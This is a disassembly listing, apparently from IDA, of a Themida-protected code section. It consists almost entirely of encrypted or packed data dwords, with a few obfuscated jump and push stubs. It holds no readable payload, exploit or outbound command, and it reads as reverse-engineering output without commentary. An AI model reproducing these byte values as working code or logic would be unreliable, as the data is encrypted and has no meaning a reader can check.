		dd 0BC956FA9h, 18048007h, 56515074h, 19AAC25Ah,	8C8F0A6Eh
		dd 933E23D9h, 3E958F1Eh, 83C9AC6h, 5B7E67ECh, 2844FCEEh
		dd 69933FAAh, 8611C28Bh, 0D1FCFCDFh, 0EEFDF0DCh, 0CC659F34h
		dd 0F93372F8h, 0A2314AA9h, 4F56821Eh, 0BA60DABCh, 680E0203h
		dd 0CBD8DA4Dh, 0D81C16A5h, 0E6CA484Fh, 0B9B74D8Ah, 60A0E71Dh
		dd 0A7617875h, 1EB8941Ch, 41EB9CE7h, 5A696571h,	385D129Ah
		dd 31032BB8h, 0AB87F5A2h, 5ACC823h, 9FE8AC68h, 0BB77061h
		dd 60DA5F14h, 516F646Dh, 669EA42Dh, 1642BACDh, 8E6A8ABAh
		dd 14BEC242h, 0CC4514F0h, 0F4A8400Dh, 5F352C98h, 458E60DAh
		dd 0F0508B52h, 7F55C8E0h, 318F231Bh, 0DAD99EC5h, 0DDAAF760h
		dd 11BB309Bh, 873C15EFh, 17D29929h, 7359271Bh, 0FACA6624h
		dd 8424B799h, 0A3D5C2BBh, 0F80AC328h, 0CEDDE5CBh, 596A9F3Bh
		dd 0AF8BF99Eh, 54CD01Fh, 0B0D7B157h, 0DCFh, 6E12CD00h
		dd 29B8DF65h, 55EFE783h, 2D25242h, 0F3DEFAFAh, 0EC7B351h
		dd 0E8E410F4h, 16C09C58h, 0ECEA16EEh, 13C09C58h, 0D8EF0BE9h
		dd 18BAA65Eh, 527220E4h, 0C281E289h, 4,	4B951h,	0CA290000h
		dd 24148759h, 6460685Ch, 4890000h, 6336824h, 2C890000h
		dd 0BE565724h, 17590D40h, 815EF789h, 5A9E6FF7h,	5FF8891Fh
		dd 8904EC83h, 4812424h,	424h, 89575D00h, 87D89C7h, 83243C8Bh
		dd 34FF04C4h, 0C4815D24h, 4, 582434FFh,	0E904C483h, 0FFF6DF18h
		dd 0AFCE3CEDh
; ---------------------------------------------------------------------------


loc_63BACC:				; CODE XREF: Themida_:loc_63AE2Ej
		mov	eax, 8039F5Bh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 59h,	63h, 0ECh
		dd 85B91D29h, 8B9CEC2Ch, 55C7BA7Fh, 0E3193E27h,	77D7E40Ch
		dd 78254071h, 5017EE43h, 57F5B642h, 0A5A9327Ch,	49DA5523h
		dd 0D3859D51h, 0F0B14162h, 5C8AD65Eh, 9B14EF26h, 341ABC3Fh
		dd 0B3CE2339h, 69915368h, 4CADFF18h, 0E52BFD14h, 0B5495908h
		dd 4AAB0F06h, 98E9EF28h, 4379DF71h, 0B4433523h,	2E53EB13h
		dd 3E3E247Bh, 0D9301553h, 0E22E765Bh, 0E41BC036h, 3BE908h
		dd 8B600000h, 0FA16E1BDh, 4EF8307h, 0C18BC933h,	0B88320BBh
		dd 4C783EDh, 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h
		dd 81078941h, 100F9h, 0D3820F00h, 61FFFFFFh, 0E9C88BC3h
		dd 2Ah,	2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 803A09Ch
		mov	eax, [esp+4]
		mov	[ebp+7FA31CDh],	eax
		mov	eax, 0
		lea	ecx, [ebp+7FA4F53h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		jmp	loc_63BBF5
; ---------------------------------------------------------------------------
		dd 600395B3h, 0Ah dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_63BBF5:				; CODE XREF: Themida_:0063BBC3j
		jmp	loc_63DAEC
; ---------------------------------------------------------------------------
		push	803A56Dh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	803A7AAh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	803A957h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	803AA9Ah
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	803B362h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	803BA6Ah
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	803BCAEh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dd 0FC063E96h, 0DC26DEF4h, 0F70B0594h, 0F220DAF7h, 0CE44C00Eh
		dd 5876DE08h, 0BE1A56ACh, 5B747C86h, 0BA1559A9h, 0F1CF7A88h
		dd 5A82DE05h, 811D37C2h, 83AAB91Dh, 0AE03C25Ah,	4D2B3E9h
		dd 0FE25D1EDh, 57CA5E23h, 24879E4Ah, 0D3E0CA5Eh, 369CC000h
		dd 15EF11BBh, 8400873Ch, 0E719B498h, 7A7760A0h,	931DA65Eh
		dd 0EE620B7h, 0F8B85245h, 0D5CCF894h, 2ECA5E23h, 244C53A5h
		dd 1CA5CA5Eh, 65C1976Bh, 0C4ECD76Dh, 15C12CA8h,	873C15EFh
		dd 5C4000h, 0B5AC18D5h,	0ECA5E24h, 0EF890EC5h, 0D2584ABDh
		dd 4CF8D67Ah, 8E327F3Bh, 225EE6F2h, 80FC8BB1h, 0E31AB894h
		dd 0EC46E389h, 1FE5EE8Fh, 8E669833h, 0EF890EC5h, 0C263D9ECh
		dd 0DD09A591h, 0C263D9C6h, 442921Fh, 5850FF91h,	0CF0AD3C4h
		dd 52715F6Fh, 0B3BFE612h, 8B18C263h, 0D514CD39h, 0A292C3C2h
		dd 8B25026Fh, 83000000h, 4354EEE7h, 646E1251h, 5D61A4E1h
		dd 745F998Fh, 0BAD0B790h, 0F9951B20h, 7C323195h, 368BCA5Dh
		dd 8D679D3Ah, 0EF1DD3C4h, 74D25785h, 0AE46FED8h, 0E8C87225h
		dd 4FB54F84h, 72737276h, 0F7CCC263h, 99C428CCh,	0B8C26372h
		dd 0F20EE61Eh, 21A361DBh, 0EC0A47A2h, 0ED36844Ch, 0CB24AAB5h
		dd 0F1736186h, 51368DC4h, 0DDE55594h, 0B0247553h, 64A9EE7Ch
		dd 26F16F5h, 0FE3FF7C7h, 0FD04FFC4h, 13ED8Ah, 2F4B0000h
		dd 0CF589CA6h, 6E12D4C8h, 0C8B7E064h, 1544h, 0EA07D2C4h
		dd 240322C6h, 475CCA5Eh, 5E2482A1h, 0FDC6DBCAh,	0F50DEBB3h
		dd 8C8982BAh, 0D9581FBh, 0CE78F207h, 9D2C5440h,	0C904F4A3h
		dd 9D57E9E4h, 3553BF14h, 405F83A3h, 99CA5DFFh, 59F5BB08h
		dd 0C0C77Dh, 58159AD4h,	573357D2h, 63E8746Bh, 0F404CDC2h
		dd 0C263E7EDh, 300A7D46h, 0BEC07FA4h, 61852B86h, 0C263D942h
		dd 6BD069Bh, 8A6E52EEh,	0C263D95Bh, 0D7DB6172h,	0E302E6CAh
		dd 3CC263D8h, 45582067h, 64C263D9h, 421ED66Eh, 0BB947094h
		dd 0CE81AB5h, 4512C958h, 2CDFFAC1h, 26FCA3Dh, 98C72B8Fh
		dd 0F1C263E1h, 0B35A0E0h, 87FB7Ch, 12F90000h, 22E2626Eh
		dd 0D3133B89h, 550C1F20h, 1E7A4042h, 0D87193B1h, 58FDC5EBh
		dd 6324E996h, 0A1FDBBCCh, 8F80B5FDh, 7BAD43A1h,	5DC3766Dh
		dd 9502CFCAh, 57F7F5DBh, 0D4DAEAD2h, 0EFAB9F09h, 0A60AB8DFh
		dd 63C52342h, 9C277CC2h, 0F4E0BC58h, 0C263C4EDh, 660A7D46h
		dd 0C263C53Bh, 2DC77D5Ah, 8480BA51h, 3FC57F58h,	39B03566h
		dd 8863DA1Ch, 0DEF7E8B8h, 0F22BA09Eh, 1CF160A5h, 0EB02026Fh
		dd 26000001h, 10778D4Ah, 5F6E120Ch, 1861FE5h, 0FED7D4FFh
		dd 0DCE7C044h, 361ACCD4h, 6B150209h, 2A9AABEEh,	4C3B6111h
		dd 6E6804B0h, 7CFB1D6h,	37C613AAh, 0A52EF7FDh, 0E4EE922Eh
		dd 0C53FC50Dh, 941DD7ECh, 159D7903h, 0CB63A202h, 877Dh
		dd 0EDC92BD5h, 67FE25D1h, 4A57CA5Dh, 1B903B3Dh,	0DC758FB1h
		dd 77131BE7h, 5D68544Bh, 7324ADCAh, 5D6CC2FDh, 0D2FD61CAh
		dd 8CFBD430h, 7D8C616Ch, 5B6841C3h, 968D3955h, 0EFCA5D63h
		dd 15BE788Fh, 0EDE80882h, 90B01C40h, 160DDB74h,	6FCA5D63h
		dd 2B4F7162h, 87F5A29Ch, 0BCE30FABh, 15CA5D62h,	3107FB8Ch
		dd 0CFD4A629h, 7BC4FE8h, 0C2E105A9h, 1BCA5E12h,	5B3F0186h
		dd 0FAD7D4FFh, 6C049340h, 0D258319Eh, 0F30DC7A3h, 1FBA96A4h
		dd 38BC4092h, 7A0646Fh,	0B498F4BCh, 0E0FFE91Bh,	39C263F4h
		dd 0F5727155h, 0F6CBC263h, 7050BACDh, 583FC10Ch, 0B950A832h
		dd 7959857Fh, 5B6841C3h, 8644868h, 9DC434CCh, 0F6C263F5h
		dd 0C2DEDAADh, 0F014309Eh, 6FC83057h, 1ACA6135h, 1B6C9836h
		dd 6A943F1Fh, 8F335759h, 0BA66B690h, 0F2122CA7h, 3F485959h
		dd 90411D81h, 8282BC17h, 8B6D1AA9h, 0E2626E43h,	411D21F1h
		dd 0DC1C6B91h, 4B2553F2h, 0FCDA8202h, 0D51110B4h, 596ABA66h
		dd 0A345376Ah, 3090CEAEh, 19B943h, 0D56F6500h, 6B91413Dh
		dd 0C6405797h, 659F343Ch, 0FF05D1ADh, 33214113h, 5599699Bh
		dd 3539C97Bh, 58986A98h, 884FC37Dh, 7F919034h, 8CEAC25Ah
		dd 9EC21288h, 112C99B8h, 0F9D52374h, 2428E1F8h,	22524B84h
		dd 0D66F953Eh, 0C5FBC3EDh, 432852A7h, 0F9F59502h, 0D42325DEh
		dd 0C1DA0364h, 5426AE12h, 0C5D5971Fh, 1C246E19h, 6C589540h
		dd 0CA5E2175h, 0B2CE05CEh, 4AE3211Bh, 0C212573Dh, 0EBCED9D3h
		dd 0D8AADDE0h, 172DA602h, 417F54DDh, 0D8D1015Dh, 0F28E45FFh
		dd 0C52B5CE0h, 0D257E9CFh, 122AA8C4h, 3899B585h, 8BEFD102h
		dd 6A43C143h, 0D7B35F1Dh, 637EF4EBh, 0FC844DC2h, 0FEC72DD7h
		dd 7EBCDF99h, 0F3DBC263h, 0FC7B351h, 970E0FF5h,	1FFFF754h
		dd 966E903Bh, 0D0CFF3BDh, 29C2637Eh, 7376EF98h,	0E4FBE7C3h
		dd 3DC2637Eh, 73E22374h, 84026F20h, 1A1h, 0C5DC08A4h, 1EC2637Ah
		dd 12120295h, 0E04FE5C2h, 54438A8Dh, 9398A924h,	0BB49863Eh
		dd 0D8647039h, 832D9615h, 0A034933Bh, 0C6EA9DB4h, 5DAB0322h
		dd 40475CCAh, 0F33E98C4h, 5DAAD0CFh, 2B9829CAh,	0A6BD2985h
		dd 0FFCA5DABh, 7B17E5B2h, 0A84CF6DFh, 2E35A11Fh, 87CA5DABh
		dd 58A34D3Ah, 0F7CA5DB0h, 11B57A53h, 0CA5DA612h, 876D566Bh
		dd 2CA7D9BEh, 75B16C13h, 0A819AB59h, 24D0F06Eh,	0CA5DF6FDh
		dd 3A764D56h, 9E88BD16h, 5D9A0594h, 824BA91Ah, 95B97515h
		dd 817F083Ah, 6804AC56h, 8836D46Dh, 0B9195915h,	1F61EA0Ah
		dd 0DE678DB7h, 0B6F4BB9h, 0EEB73DC7h, 0D2D761A9h, 1FAED2EEh
		dd 7E46DF25h, 0DF190986h, 986027CDh, 0D2574BB2h, 83A93B7h
		dd 0D2EEC37Fh, 0A6E8F02h, 871053A6h, 8E47230Bh,	59DF2374h
		dd 0D430D2FDh, 0C4E8C8FBh, 7ADDEBFCh, 0E6B1F727h, 5F65D812h
		dd 0EC9A5CAh, 503710F4h, 41C30E72h, 0D7D9EAC3h,	0D21CEDC7h
		dd 3C4BDC71h, 963C207Ch, 448FB11Bh, 48A92553h, 615F748Ch
		dd 568A993Dh, 0CFE3BA64h, 2D11293Ch, 494E85C1h,	4889E5C9h
		dd 0E7952B2h, 0C30DE4F2h, 531F9241h, 82CEB07Eh,	177C3522h
		dd 0A8280000h, 547E8290h, 8F1E62B0h, 50817D95h,	0BE1858AAh
		dd 0A8CA7C86h, 0F02222ACh, 0C63CC410h, 0EB172DAAh, 0CC36C803h
		dd 0C13BFFDh, 65C25A7Dh, 4D20B0Fh, 0E32123ADh, 6737794Ah
		dd 0DA1FF27Ah, 9890E36h, 0EC1D9D25h, 2D227B6Eh,	92B31E5Ah
		dd 0D45CB501h, 0E131A27Fh, 0AA07D2B9h, 58F11329h, 0A829456Bh
		dd 0AED97292h, 5B5A6A56h, 0BFE6123Ah, 18CA5E05h, 9D14398Bh
		dd 428D6B1Ch, 22E09C1h,	0B023C5A9h, 0D7025E62h,	22ABC72Dh
		dd 0D9E4B320h, 0C90965DFh, 8FF8D133h, 0D4DCDD7Bh, 0F6A15B78h
		dd 9E4A664Ah, 0CA5D6487h, 2CC4D3E0h, 0D25779A2h, 0F6E28F1Fh
		dd 69D56537h, 9690241Eh, 69E0ED57h, 357D4390h, 8266DE59h
		dd 0C2640D63h, 0AFDDE7BCh, 69187FFDh, 0FE2BA7C3h, 639CCBDAh
		dd 448F24C2h, 0D8A0E7C0h, 6C28CDA4h, 0E4ED490Fh, 6F4B755Eh
		dd 9E6C5C83h, 0EDD9B518h, 189E6BF6h, 4651824Fh,	9C3A167Ah
		dd 859C4868h, 0DE189E6Ch, 0C02EC2D5h, 520988Ah,	4D263DA9h
		dd 327F10A4h, 754D5565h, 7FA6528Ah, 0D810A4A9h,	9CA5F9CBh
		dd 361A962Dh, 0BE876DA7h, 3F8F2BD9h, 4C156820h,	0C47E59E4h
		dd 2B5C6740h, 81658157h, 10A51162h, 0D3DDE6BBh,	11140BB7h
		dd 646D10A5h, 45298533h, 0B0797B89h, 4B6611E7h,	391518A3h
		dd 2121669Ch, 6272903Dh, 0A0C0CD05h, 832D96FDh,	4453EDE7h
		dd 19881874h, 72AC8069h, 48837522h, 7956FAB6h, 724EBCCBh
		dd 0D47BAA4Eh
		dd 0FFD408A6h, 0D46D6898h, 45A031C1h, 59487BEBh, 806F4B97h
		dd 0CFF9E63Eh, 7B000015h, 1757AB55h, 6D9181BBh,	522EE45Eh
		dd 67877B81h, 973DD56Fh, 5BE9E56Fh, 0F30DC7A7h,	4CF6DF1Fh
		dd 0E51FBAB6h, 0B216AA2Dh, 0C25A7BB3h, 0D2AA6A0Ch, 1BF7FD07h
		dd 1E69933Fh, 0E3FA4EECh, 3EFCB29h, 0CA5E23DCh,	6C576C35h
		dd 82AF2844h, 5E244F56h, 0A81BA8CAh, 2414834Ch,	57E9E488h
		dd 0ED83149Dh, 0D2582663h, 0B2527CE0h, 0DB9D5E5h, 0C2642116h
		dd 7A5E626Fh, 0C264216Bh, 0DCE4EFC4h, 210D14C0h, 5E66C264h
		dd 41CB65F8h, 0DA962D14h, 25AE46FEh, 0C6EAC672h, 63F20322h
		dd 0D8F45CC2h, 0CEC9B28h, 60E4EEC3h, 0A6314D73h, 9F9FEB9Ch
		dd 0F1C8D7FBh, 0F3DFC263h, 0A022AB49h, 5B748413h, 0E68BBBAAh
		dd 448FE8CDh, 3AF7E07Ch, 6358978Eh, 0F0E3F0C2h,	99353B14h
		dd 0D7C0896Bh, 0E5ED912Dh, 0A1C0385Fh, 0F8C26358h, 0BEC97B54h
		dd 6368273Ah, 828A50C2h, 3DD3CB58h, 6AA194Fh, 0FD37C6AAh
		dd 0B008E68Ah, 5CDCA5Dh, 686BC4EAh, 0B7831436h,	19F4EBD7h
		dd 844DBA6Ah, 0C40D714Fh, 0FAB593Eh, 296934BFh,	1868F5Eh
		dd 862BD4FFh, 2C339FFFh, 85BA6938h, 0C3BE883Ch,	0E202AF24h
		dd 0F3CEABC0h, 148C6491h, 98380000h, 4CEB260h, 0DFEE1200h
		dd 0D1AD65h, 0EEE808FAh, 0F81AAC56h, 40D2725Ch,	966C9440h
		dd 3BC77D5Ah, 9C669833h, 0BCE30FADh, 15C25A79h,	0C2123B3Fh
		dd 9DC108C6h, 2953Ch, 50F4DE3Ah, 0CE701CB4h, 69BE75BFh
		dd 6347695Ah, 4B35CF07h, 5F197E80h, 0D257C089h,	4556864Eh
		dd 0A81033D9h, 0D8BF142Ch, 3F1BD9EAh, 8BB91693h, 37A0E069h
		dd 755EE70Dh, 0D9FDA19Dh, 0C26336CAh, 0F7098E23h, 103CEDBh
		dd 17992A03h, 0A0649E33h, 18048007h, 48689834h,	6337859Ch
		dd 0C2D5DEC2h, 0D2EEFDC0h, 0E32123AEh, 1F7B3D4Ah, 956F913Bh
		dd 3625CBBCh, 1DC26337h, 1A6D9741h, 512D9320h, 710B7C86h
		dd 6C654A85h, 2B07EDD6h, 633798C7h, 0A0E0F1C2h,	36E70D37h
		dd 0C91F2CAFh, 659F3915h, 1030AB32h, 27CB666Ch,	0C26336F8h
		dd 44538051h, 0B9139E34h, 2C743C87h, 4F20CC3h, 99F99E3Bh
		dd 63BDD2CDh, 10A131C2h, 0CB1A4990h, 0B4507E02h, 0FA107750h
		dd 32C80963h, 0E6CAF9D2h, 0D195FEDEh, 0B4E3B50Bh, 0E004A804h
		dd 0C2632BC1h, 6DA7361Ah, 0BCC73156h, 0CBC2632Ch, 2BDC03EFh
		dd 0D8F3C263h, 0BD05CE26h, 0F797A3F4h, 632BD4CBh, 2FA42DC2h
		dd 577FDBE3h, 349EDAADh, 2448F410h, 84EC9B95h, 0C2632D51h
		dd 47AD5780h, 579DA72Bh, 0CE7B5EE5h, 0F0508B1Ah, 94BF468Ch
		dd 0F8A08904h, 7039BB08h, 0F0F9D927h, 75615FD9h, 0C2633C6Eh
		dd 0E7C9FAC7h, 235D5ED7h, 4F384AFCh, 9A17BBC3h,	0F4BC073Dh
		dd 0C0C74158h, 0D8F45844h, 0D6995F28h, 55C26384h, 522EC67Ch
		dd 0C3777D87h, 38B09D3Ch, 56EEE884h, 535B431h, 0C4D36969h
		dd 2EE71EB4h, 0C13BFE2h, 65C2636Fh, 24F9685Ch, 0F08C349Fh
		dd 119A5AE2h, 9C240C86h, 8073B624h, 94ED1D84h, 0DA9873Dh
		dd 756BB70Dh, 0C0D22A70h, 2328B3D7h, 0EC16C19Dh, 68583F08h
		dd 95AF2844h, 0E0746E02h, 1D1C263h, 0AA4E72E9h,	0C263B87Bh
		dd 0FAD5FFD4h, 3C96DA9Fh, 0DBC37F08h, 4BA9537Fh, 956F7682h
		dd 7DDAC263h, 0AF8848D6h, 547F546Eh, 4DBC04B0h,	33CD08E1h
		dd 0A657C1A1h, 0E0A71C28h, 0C50D6E18h, 0F22CBB36h, 57EDE612h
		dd 2D9EC9Dh, 448F9642h,	0DBE84E02h, 4E320EE8h, 9EA632BFh
		dd 0BAF6CD66h, 244170Eh, 3463704Eh, 6E1232A9h, 0D6B7E064h
		dd 79CE6187h, 4C818h, 2A287800h, 8E151EBh, 12CECEB9h, 648369C2h
		dd 1B6C58AEh, 684851E7h, 4F38C804h, 89854D71h, 4200A6Ch
		dd 1DC43A8Ah, 8A7BB6CFh, 0E08973FDh, 0CAA6D257h, 28CCF408h
		dd 0C263D1F9h, 2C168152h, 0D2416084h, 7A58C263h, 20B300C2h
		dd 887E10A0h, 0A077C0D5h, 96549F7h, 0F4BD37CDh,	0C97A55A3h
		dd 0CA9293A9h, 11AF2446h, 781A49ADh, 5E73C263h,	698BB122h
		dd 535BB7E0h, 9801C4Bh,	1681D719h, 0EB02EFEAh, 961EA231h
		dd 0FDF6BE93h, 0E25FA02Ch, 79251796h, 0D3BF3D4Ah, 1CA52FCBh
		dd 1C761E27h, 50F7BFFCh, 49AFD8EBh, 49AA2D78h, 511A13Dh
		dd 8ECF5E90h, 6C6FF6A1h, 0CD3904CCh, 0D395CDB8h, 0D419B4C4h
		dd 1D22F1F0h, 4A794A3Bh, 879E4A66h, 0E03B1D23h,	6A46C4D3h
		dd 0BD37CD06h, 7A55A3F4h, 8D52F8C9h, 6C45BF45h,	0D36F0D58h
		dd 0D9CC000h, 2F58F113h, 1028B3D5h, 17E1636Ch, 3B1C2F08h
		dd 3D835061h, 7C8FB421h, 4181D19Dh, 0C18A6A59h,	0C4CCD3FFh
		dd 9C253B1Ch, 0FB9F9FEBh, 1CC4C8D7h, 790213Bh, 38CFD8F9h
		dd 972D06FEh, 34488203h, 4BA91A10h, 78A74B6Fh, 0CF3B1CB4h
		dd 1CB3FC23h, 664C553Bh, 834E2A5Dh, 3FC5126Eh, 1CB4AAB9h
		dd 25AE033Bh, 0EE28BF9Bh, 2945E9A9h, 6B953FA8h,	8413C089h
		dd 7A85974h, 0FEF62EB7h, 0BD599B28h, 880F35A1h,	0A783BFF0h
		dd 64983AADh, 0E719B4A0h, 52891C0Dh, 6939E505h,	5D6C4917h
		dd 6240F1E3h, 13B98D8h,	2C0CCF96h, 0E13D6490h, 0D96C891h
		dd 1DD76963h, 0DAF50394h, 0E1B2B115h, 0B60BC891h, 0DB07A30Dh
		dd 0C891E0C4h, 8703941Dh, 0C0DF03A7h, 19C891E0h, 0D601FF88h
		dd 7D46FCD9h, 81BB1733h, 0EED26E16h, 0E0FF26D2h, 4B58C891h
		dd 91E1869Dh, 0AED2DFC8h, 48E12321h, 18704B3Fh,	733D86BEh
		dd 0E1B4AB17h, 2CBC891h, 872B0400h, 4F6B4D3Ah, 589CA62Bh
		dd 3130C8CFh, 88C891E1h, 0E1A1C024h, 4A0CC891h,	9E11B9EEh
		dd 7F089919h, 0AED2EEC3h, 1872251Fh, 51507418h,	68C8918Dh
		dd 951ED66Eh, 5F3A42Dh,	0A5BC28C9h, 0FEC8918Dh,	0FD07CBB5h
		dd 5FA52EF7h, 169EBE7Dh, 15FDD39Ah, 4C53A5D5h, 0A5C8913Eh
		dd 6509A71Ch, 0BD77866Bh, 3B66EE06h, 600CFE80h,	5662359Eh
		dd 89BB163Ah, 0BD478F6Bh, 5B656E37h, 91E56877h,	0A7F0C1C8h
		dd 91E4D6D1h, 5D8925C8h, 0C891E546h, 0B585129Fh, 6568B4EDh
		dd 378C2CCCh, 4C87E3CBh, 3893E5B2h, 0EE618B3h, 0CA768E45h
		dd 70172DA6h, 636B4690h, 0E612F2E1h, 0BB975DD7h, 0EC08EC16h
		dd 0DA65EE6h, 0B99554CBh, 2ECC3FC3h, 31A71C52h,	0CC737B2h
		dd 0FA072F3h, 9BAD566h,	5E6D35F9h, 659C0F94h, 7E59A7F0h
		dd 5A6859C5h, 844FAA85h, 1FB89480h, 1861FE5h, 0B32E3209h
		dd 0BD47922Eh, 0D7D57307h, 2FA8C4ECh, 0DAB68215h, 0F8AB5A76h
		dd 0BC7D250Ah, 65EE06BDh, 91AFBE32h, 0AEF6C891h, 0A99A3467h
		dd 96A4F37Ch, 0DCE71DBAh, 76BECCD4h, 333616ADh,	9194908Fh
		dd 0EBD8E9C8h, 6E52EE9Ch, 91945B8Ah, 0A11FB4C8h, 91942E35h
		dd 4D3A87C8h, 0BC4BA02Bh, 78568282h, 0E4CCF7CCh, 0B11EE2DCh
		dd 8F317719h, 91953C63h, 7B0C95C8h, 4D791501h, 0C8919556h
		dd 837522AFh, 2241A54Ah, 7BC89195h, 37139D26h, 0CD37609Ah
		dd 0E51F25B1h, 0E612DFF9h, 0C89194BFh, 0BC388B18h, 0E86584FDh
		dd 0BFD1E1DFh, 6FF0989Fh, 92A0BF23h, 0A8F9C891h, 0FAF16C1Bh
		dd 9BA9264Ah, 0B9C7D059h, 761AE51Eh, 7061A4DBh,	0D7015D63h
		dd 99FEC72Dh, 2A6D35F9h, 3F4EDBD7h, 11F30DC7h, 0FCFC8B38h
		dd 0A9B81CD1h, 2C8920Eh, 0C76CACB2h, 0EDD625F2h, 0BFCADAD6h
		dd 0BEBDAACEh, 38E4A0E7h, 0FFFD5868h, 0FD83030Eh, 15B17A6Eh
		dd 0BFF883Bh, 233A2C30h, 0F8727155h, 0F6CBC891h, 61A14CEh
		dd 8F273EAAh, 3380C891h, 587C20A0h, 0C8918F49h,	0BA8611A2h
		dd 0A9637AD6h
		dd 8F171ADEh, 3858C891h, 7385BF14h, 0C8918F6Ch,	0F8BA7483h
		dd 0C2E105ABh, 1BC8918Eh, 2B733D86h, 0E97CFC4Fh, 7B047843h
		dd 0D8656C8Bh, 52EE9CEBh, 0FA5F7F82h, 903478BDh, 0C891C091h
		dd 0C6EAD9EAh, 91C00322h, 40475CC8h, 6E5A9740h,	0C891C077h
		dd 0BFFB2ACEh, 7F54C891h, 5B656E43h, 5B2CD6FFh,	0DCFCBFA1h
		dd 91BFE9F8h, 627142C8h, 8F96425Eh, 0E8C891C0h,	0B00CACDBh
		dd 0BFB9E80Ch, 0C112C891h, 0BF1322D6h, 264AC891h, 0FCD59BA9h
		dd 31814146h, 0B7EACBD1h, 4E726188h, 63A19B32h,	714DBDCAh
		dd 5443C10Dh, 626E1240h, 0FE8922E2h, 832DD702h,	0C49EB73Bh
		dd 0FAD71A2Ch, 0C92D9340h, 0CA5D769Ah, 59B9DEF3h, 22D8F955h
		dd 6BCB8D75h, 59F4E062h, 0A267F8A7h, 0B6DAD6EDh, 84C8E5EEh
		dd 5DFC4160h, 0BB099ACAh, 682FF523h, 577F5290h,	894327D2h
		dd 6F95AF24h, 4B83EDD6h, 8CF4CEB9h, 6C45BF41h, 8495957h
		dd 61F2F1C6h, 1D4DB18Bh, 89DA65A7h, 0B11E42FEh,	29E9CA94h
		dd 6B58DC30h, 667D6945h, 0BFC263F5h, 49E5A5F2h,	0F5628165h
		dd 93BBC263h, 0CCBB083Ah, 9F2123ACh, 379C11BBh,	755EE70Dh
		dd 0F6BE5A22h, 9D6381C0h, 6B5759E9h, 0C2635074h, 6F9304CDh
		dd 0FA29CDE9h, 11C2634Fh, 0F0B93BC1h, 0EED201D2h, 4FFF26D2h
		dd 4B58C263h, 7C207C3Ch, 63504958h, 8611A2C2h, 5D5260F2h
		dd 687FDFCAh, 467D56AEh, 0AE2A466Ah, 23D55E96h,	0BA694CFCh
		dd 22D8F955h, 0D7A49E2h, 8FBC36Fh, 8372952Bh, 251FAED2h
		dd 0AAE3FE72h, 1E42BA69h, 0DC758FB5h, 80073994h, 7A58B08Ah
		dd 1ADA646Fh, 2F914291h, 76F6438Bh, 0BA1A1EF3h,	69C1372Eh
		dd 0C24490BAh, 0E513C1E1h, 0F1CFB80Bh, 8BA005CDh, 56691E21h
		dd 87BD1Ah, 6414B278h, 0FED377C2h, 49587C44h, 0A2B26FD8h
		dd 94BC8611h, 61EA0A3Ah, 458E881Fh, 0F9F6DF7Bh,	0EA9D26DCh
		dd 0AD1EA692h, 132F007Fh, 0CB06F2A5h, 975DD7E6h, 0C6ECC50Eh
		dd 0FD6A577h, 0BC4C8B5h, 60700000h, 8C462AD8h, 57668A78h
		dd 884925DDh, 7660A072h, 709244CEh, 0A85AEAE4h,	1EF40CC8h
		dd 0C34FF5E2h, 24EE10BBh, 445B8735h, 9DC25A71h,	6E12B3C7h
		dd 0D3B7E064h, 0DE05F105h, 37CA5E23h, 8278D56Bh, 665DAEE3h
		dd 8B37535Dh, 0CA5DBD94h, 0F8DCE4EDh, 0CA5DBCE9h, 1A267142h
		dd 0E8732E76h, 36FFF4A6h, 7A21A751h, 9E26D257h,	520AB7B7h
		dd 0EFCBBC1Bh, 0C33C06E3h, 95414058h, 0C263508Eh, 0DBE9DAE7h
		dd 0CCDDA410h, 0CD279C6Eh, 0FA29CDF1h, 53C26385h, 279CA62Bh
		dd 86869860h, 2EA3C263h, 0CF04F014h, 960DCF35h,	2000F653h
		dd 9470903Ch, 0E81AB5BBh, 1323C69Fh, 9F659F37h,	0DD8C8106h
		dd 0AF026F1Fh, 7F0103CBh, 21DEA953h, 1E5h, 60C2125Bh, 0F7095B0Eh
		dd 632EC2D5h, 76CA5D33h, 0C65EA6BBh, 852B98B4h,	91EB803Dh
		dd 0EC9B3043h, 0F9F6E11Fh, 47FDD5E2h, 569477Ch,	0F1BA3AC8h
		dd 4E0EECA6h, 9BCA2Eh, 0DFF4CA5Eh, 26B0CCF4h, 2F36A21Eh
		dd 88CA5E00h, 886C4C3Bh, 0CA5E0061h, 0F70EC4A8h, 7EB8E733h
		dd 0B54F8446h, 0AFCF6B1Ch, 0BB51E18h, 7C8B586Fh, 0FE8611C2h
		dd 75AF3E22h, 0AC5EF75Fh, 47509722h, 74659E39h,	293D3537h
		dd 0BC38CC0Ah, 0CDF3E0F3h, 2CD1AB1h, 46C4D300h,	8750A834h
		dd 26AE777Dh, 6C93B950h, 0B5FBC8BAh, 0C3BE12EDh, 0E68A558Eh
		dd 8D2B5CE8h, 5D694269h, 0C12589CAh, 0CA5D69A2h, 0EB427A0Dh
		dd 0FB3A907h, 0DDE5D5C2h, 7CCAC4Fh, 0A62EF7FDh,	0D2013FBFh
		dd 0FF26D2EEh, 56CA5DA4h, 5DA57372h, 0BBF7CCCAh, 37E3A1E6h
		dd 6B89BB13h, 8C3B5E2h,	97192BA3h, 5DA5342Bh, 8F448DCAh
		dd 81824D31h, 3CB39F3Ah, 896B5818h, 733BD7C0h, 5641FBD7h
		dd 1DA3A834h, 1A6D9741h, 0F4DE821Eh, 0A91BB450h, 0FDB78B8Eh
		dd 0E29601B6h, 0CA5D3DDFh, 241FB6FEh, 0ABB2B142h, 0F2C2DEDCh
		dd 4C8747ECh, 1948B09Dh, 70CA5DB7h, 5DB75D84h, 0C5EDB6CAh
		dd 0B6E6FDE9h, 723FCA5Dh, 864E7261h, 2F6F4BECh,	0EF7FC444h
